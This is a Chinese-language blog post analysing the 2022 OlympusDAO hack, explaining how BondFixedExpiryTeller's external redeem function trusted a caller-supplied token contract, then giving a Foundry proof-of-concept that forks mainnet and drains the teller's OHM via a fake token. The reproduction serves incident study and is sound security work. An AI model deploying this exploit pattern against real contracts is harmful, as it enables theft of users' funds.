OlympusDAO事件分析

  • Archime
  • 更新于 2022-10-27 22:01
  • 阅读 4355

OlympusDAO事件分析

1、OlympusDao事件简介

https://twitter.com/peckshield/status/1583416829237526528

1.png

2、攻击分析

交易:https://phalcon.blocksec.com/tx/eth/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf

3、获利分析

2.png

4、攻击过程分析

3.png 通过分析交易过程,可以看到攻击合同(0xa29e4fe)先调用了BondFixedExpiryTeller 的redeem 函数,函数最终调用了ERC20代币合约 OHM 的transfer 函数,直接将OHM代币全部转移。 查看问题合约的redeem函数,发现其权限为 external ,攻击者只需要先部署合约设置函数 expiry()、burn()、underlying(),使得满足程序运行条件。因为token_.underlying() 返回的值也是可控的,攻击者直接将其设置为OHM 合约的地址,直接将代币转移。

4.png

5、漏洞复现

漏洞复现代码参考:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/OlympusDao.exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";    
import "./interface.sol";     //包括 ERC20 等常用接口

CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);   //特殊含义地址,foundry固定
address constant OHM = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5;                    //定义相关合约地址
address constant BondFixedExpiryTeller = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;

interface IBondFixedExpiryTeller {                                                    //定义相关接口合约
    function redeem(address token_, uint256 amount_) external;
}

contract FakeToken {                                                                  //自定义利用合约,可用于后续使用 new 方法生成新合约
    function underlying() external view returns(address) {
        return OHM;
    }

    function expiry() external pure returns (uint48 _expiry) {
        return 1;
    }

    function burn(address,uint256) external {
        // no thing
    }
}

contract AttackContract is Test {                                                    //攻击合约,需继承foudry Test合约

    function setUp() public {                                                        //设置相关利用环境,可直接使用全局变量 vm 
        vm.createSelectFork("mainnet", 15794363);                                    //选择链,设置被攻击前最近区块
        cheat.label(OHM, "OHM");                                                     //可设置相关标签,便于查看日志信息
        cheat.label(BondFixedExpiryTeller, "BondFixedExpiryTeller");
    }

    function testExploit() public {
        console.log("---------- Start from Block %s ----------", block.number);      //打印日志信息
        emit log_named_decimal_uint("Attacker OHM Balance", IERC20(OHM).balanceOf(address(BondFixedExpiryTeller)), 9);

        address fakeToken = address(new FakeToken());                                //创建新合约
        cheat.label(fakeToken, "FakeToken");
        // console.log("Deploy fake token on ", fakeToken);

        IBondFixedExpiryTeller(BondFixedExpiryTeller).redeem(fakeToken, IERC20(OHM).balanceOf(address(BondFixedExpiryTeller)));
        console.log("Redeeming");
        emit log_named_decimal_uint("Attacker OHM Balance after hack", IERC20(OHM).balanceOf(address(this)), 9);

    }
}

成功获取代币:

6.png

点赞 3
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

1 条评论

请先 登录 后评论
Archime
Archime
0x96C4...508C
江湖只有他的大名,没有他的介绍。